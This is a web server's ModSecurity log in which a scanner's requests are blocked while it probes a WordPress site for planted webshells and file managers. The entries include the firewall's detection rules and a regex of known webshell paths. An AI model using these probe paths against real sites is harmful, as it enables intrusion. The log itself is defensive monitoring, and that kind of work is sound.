[Sat Nov 15 06:17:12.184601 2025] [:error] [pid 37318:tid 37370] [client 85.203.21.206:44497] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aReqaOgM1rHoEAqoQDc39QAAAQg"]
[Sat Nov 15 06:17:12.385163 2025] [:error] [pid 27909:tid 27922] [client 85.203.21.178:44939] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aReqaCTfZ6B57n8HepWX0QAAAAk"]
[Sat Nov 15 06:17:12.586975 2025] [:error] [pid 27910:tid 27963] [client 85.203.21.208:38897] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aReqaI6e1LusHMYkS7Ze2wAAAFY"]
[Sat Nov 15 06:17:12.797996 2025] [:error] [pid 37318:tid 37369] [client 85.203.21.207:48993] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aReqaOgM1rHoEAqoQDc39gAAAQc"]
[Sat Nov 15 06:17:12.996063 2025] [:error] [pid 27997:tid 28009] [client 85.203.21.186:44393] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "aReqaNpja_6cDxKbxFknFgAAAMo"]
[Sat Nov 15 06:17:13.798143 2025] [:error] [pid 27910:tid 27959] [client 85.203.21.167:21633] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/version.php"] [unique_id "aReqaY6e1LusHMYkS7Ze4QAAAFI"]
[Sat Nov 15 06:17:13.989564 2025] [:error] [pid 27997:tid 28004] [client 85.203.21.227:23983] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aReqadpja_6cDxKbxFknGgAAAMU"]
[Sat Nov 15 06:17:14.192761 2025] [:error] [pid 27911:tid 27986] [client 85.203.21.188:42291] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aReqasGzUdrhGBIfiKTMHwAAAJI"]
[Sat Nov 15 06:17:14.385157 2025] [:error] [pid 37318:tid 37371] [client 85.203.21.57:30387] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aReqaugM1rHoEAqoQDc4BwAAAQk"]
[Sat Nov 15 06:17:14.596123 2025] [:error] [pid 27910:tid 27954] [client 85.203.21.232:31311] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/product.php"] [unique_id "aReqao6e1LusHMYkS7Ze7gAAAE0"]
[Sat Nov 15 06:17:14.788249 2025] [:error] [pid 37318:tid 37367] [client 85.203.21.186:34747] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/chosen.php"] [unique_id "aReqaugM1rHoEAqoQDc4CAAAAQU"]
[Sat Nov 15 06:17:14.992326 2025] [:error] [pid 27911:tid 27977] [client 85.203.21.204:44503] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aReqasGzUdrhGBIfiKTMJAAAAIk"]
[Sat Nov 15 06:17:15.199730 2025] [:error] [pid 27911:tid 27984] [client 85.203.21.210:54483] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aReqa8GzUdrhGBIfiKTMJgAAAJA"]
[Sat Nov 15 06:17:15.422461 2025] [:error] [pid 27909:tid 27920] [client 85.203.21.186:29799] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/"] [unique_id "aReqayTfZ6B57n8HepWX1wAAAAc"]
[Sat Nov 15 06:17:15.601462 2025] [:error] [pid 37318:tid 37389] [client 85.203.21.58:37529] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aReqa-gM1rHoEAqoQDc4CwAAARc"]
[Sat Nov 15 06:17:15.785350 2025] [:error] [pid 27997:tid 27999] [client 85.203.21.208:62409] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "aReqa9pja_6cDxKbxFknIAAAAMA"]
[Sat Nov 15 06:17:15.998069 2025] [:error] [pid 27909:tid 27934] [client 85.203.21.54:49549] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aReqayTfZ6B57n8HepWX2AAAABU"]
[Sat Nov 15 06:17:16.217185 2025] [:error] [pid 27909:tid 27937] [client 85.203.21.228:31119] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aReqbCTfZ6B57n8HepWX2wAAABg"]
[Sat Nov 15 06:17:16.443875 2025] [:error] [pid 37318:tid 37382] [client 85.203.21.178:32181] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aReqbOgM1rHoEAqoQDc4EQAAARQ"]
[Sat Nov 15 06:17:18.116009 2025] [:error] [pid 27997:tid 28016] [client 85.203.21.156:22747] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/directionality/index.php"] [unique_id "aReqbtpja_6cDxKbxFknJAAAANE"]
[Sat Nov 15 06:17:18.411025 2025] [:error] [pid 27911:tid 27972] [client 85.203.21.207:56645] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aReqbsGzUdrhGBIfiKTMLAAAAIQ"]
[Sat Nov 15 06:17:18.607980 2025] [:error] [pid 27910:tid 27947] [client 85.203.21.156:65115] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/wp.php"] [unique_id "aReqbo6e1LusHMYkS7Ze9gAAAEY"]
[Sat Nov 15 06:17:18.827311 2025] [:error] [pid 27911:tid 27986] [client 85.203.21.221:51601] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/details/about.php"] [unique_id "aReqbsGzUdrhGBIfiKTMLQAAAJI"]
[Sat Nov 15 06:17:19.104206 2025] [:error] [pid 27909:tid 27932] [client 85.203.21.170:64469] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aReqbyTfZ6B57n8HepWX4gAAABM"]
[Sat Nov 15 06:17:19.499604 2025] [:error] [pid 27909:tid 27920] [client 85.203.21.157:59587] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aReqbyTfZ6B57n8HepWX5AAAAAc"]
[Sat Nov 15 06:17:19.853478 2025] [:error] [pid 27997:tid 28008] [client 85.203.21.57:24757] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aReqb9pja_6cDxKbxFknKAAAAMk"]
[Sat Nov 15 06:17:20.104359 2025] [:error] [pid 27909:tid 27914] [client 85.203.21.213:54141] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/wp-admin.php"] [unique_id "aReqcCTfZ6B57n8HepWX5gAAAAE"]
[Sat Nov 15 06:17:20.406644 2025] [:error] [pid 27997:tid 28007] [client 85.203.21.207:52631] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/Contrller.php"] [unique_id "aReqcNpja_6cDxKbxFknKgAAAMg"]
[Sat Nov 15 06:17:20.703298 2025] [:error] [pid 27910:tid 27964] [client 85.203.21.235:37281] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/about-cong.php"] [unique_id "aReqcI6e1LusHMYkS7Ze_AAAAFc"]
[Sat Nov 15 06:17:20.891298 2025] [:error] [pid 37318:tid 37372] [client 85.203.21.223:53303] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/app/connect.php"] [unique_id "aReqcOgM1rHoEAqoQDc4IwAAAQo"]
[Sat Nov 15 06:17:21.089472 2025] [:error] [pid 27909:tid 27925] [client 85.203.21.155:21837] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/assets/images/selam.php"] [unique_id "aReqcSTfZ6B57n8HepWX6AAAAAw"]
[Sat Nov 15 06:17:21.289491 2025] [:error] [pid 27911:tid 27987] [client 85.203.21.188:42061] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aReqccGzUdrhGBIfiKTMNAAAAJM"]
[Sat Nov 15 06:17:21.593828 2025] [:error] [pid 27997:tid 28017] [client 85.203.21.155:29003] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/gfherhfghre/commentsos/vendoyters/index.php"] [unique_id "aReqcdpja_6cDxKbxFknMAAAANI"]
[Sat Nov 15 06:17:21.788031 2025] [:error] [pid 27911:tid 27991] [client 85.203.21.210:51443] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/admin.php"] [unique_id "aReqccGzUdrhGBIfiKTMNQAAAJc"]
[Sat Nov 15 06:17:21.975592 2025] [:error] [pid 37318:tid 37368] [client 193.37.32.3:26485] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "aReqcegM1rHoEAqoQDc4JwAAAQY"]
[Sat Nov 15 06:17:23.283956 2025] [:error] [pid 27997:tid 28007] [client 193.37.32.1:61889] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/chosen.php"] [unique_id "aReqc9pja_6cDxKbxFknNQAAAMg"]
[Sat Nov 15 06:17:23.499754 2025] [:error] [pid 27909:tid 27928] [client 85.203.21.172:45171] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/let.php"] [unique_id "aReqcyTfZ6B57n8HepWX7wAAAA8"]
[Sat Nov 15 06:17:23.706010 2025] [:error] [pid 27910:tid 27959] [client 85.203.21.178:41027] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aReqc46e1LusHMYkS7ZfBwAAAFI"]
[Sat Nov 15 06:17:23.989994 2025] [:error] [pid 27909:tid 27935] [client 85.203.21.235:38581] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/newuser.php"] [unique_id "aReqcyTfZ6B57n8HepWX8gAAABY"]
[Sat Nov 15 06:17:24.174282 2025] [:error] [pid 37318:tid 37383] [client 85.203.21.188:34983] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/sama.php"] [unique_id "aReqdOgM1rHoEAqoQDc4LQAAARU"]
[Sat Nov 15 06:17:24.372849 2025] [:error] [pid 27910:tid 27952] [client 85.203.21.170:31997] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/user.php"] [unique_id "aReqdI6e1LusHMYkS7ZfCgAAAEs"]
[Sat Nov 15 06:17:24.575634 2025] [:error] [pid 27910:tid 27942] [client 85.203.21.222:54807] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-active.php"] [unique_id "aReqdI6e1LusHMYkS7ZfDAAAAEE"]
[Sat Nov 15 06:17:24.778688 2025] [:error] [pid 27997:tid 28007] [client 85.203.21.188:52779] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/about.php"] [unique_id "aReqdNpja_6cDxKbxFknPQAAAMg"]
[Sat Nov 15 06:17:24.970883 2025] [:error] [pid 27997:tid 28011] [client 85.203.21.161:40307] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/fttri.php"] [unique_id "aReqdNpja_6cDxKbxFknPgAAAMw"]
[Sat Nov 15 06:17:25.177333 2025] [:error] [pid 37318:tid 37366] [client 193.37.32.3:28205] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/coffee/about.php"] [unique_id "aReqdegM1rHoEAqoQDc4LwAAAQQ"]
[Sat Nov 15 06:17:25.378185 2025] [:error] [pid 27909:tid 27915] [client 85.203.21.222:50489] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/lock.php"] [unique_id "aReqdSTfZ6B57n8HepWX9gAAAAI"]
[Sat Nov 15 06:17:25.595340 2025] [:error] [pid 27909:tid 27930] [client 85.203.21.190:33569] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/index.php"] [unique_id "aReqdSTfZ6B57n8HepWX9wAAABE"]
[Sat Nov 15 06:17:25.789920 2025] [:error] [pid 27910:tid 27953] [client 85.203.21.159:53273] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-walker-category-checklist-hashing.php"] [unique_id "aReqdY6e1LusHMYkS7ZfEQAAAEw"]
[Sat Nov 15 06:17:25.975543 2025] [:error] [pid 27911:tid 27983] [client 85.203.21.228:22591] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aReqdcGzUdrhGBIfiKTMPwAAAI8"]
[Sat Nov 15 06:17:26.178465 2025] [:error] [pid 27997:tid 28010] [client 85.203.21.155:53759] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/techl.php"] [unique_id "aReqdtpja_6cDxKbxFknQwAAAMs"]
[Sat Nov 15 06:17:26.381664 2025] [:error] [pid 37318:tid 37388] [client 193.37.32.1:30053] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/link-manager-first.php"] [unique_id "aReqdugM1rHoEAqoQDc4MwAAARY"]
[Sat Nov 15 06:17:26.578472 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.155:24025] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Noname6.php"] [unique_id "aReqdugM1rHoEAqoQDc4NAAAAQA"]
[Sat Nov 15 06:17:26.774640 2025] [:error] [pid 27997:tid 28017] [client 85.203.21.239:51837] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/autoload_classmap.php"] [unique_id "aReqdtpja_6cDxKbxFknRgAAANI"]
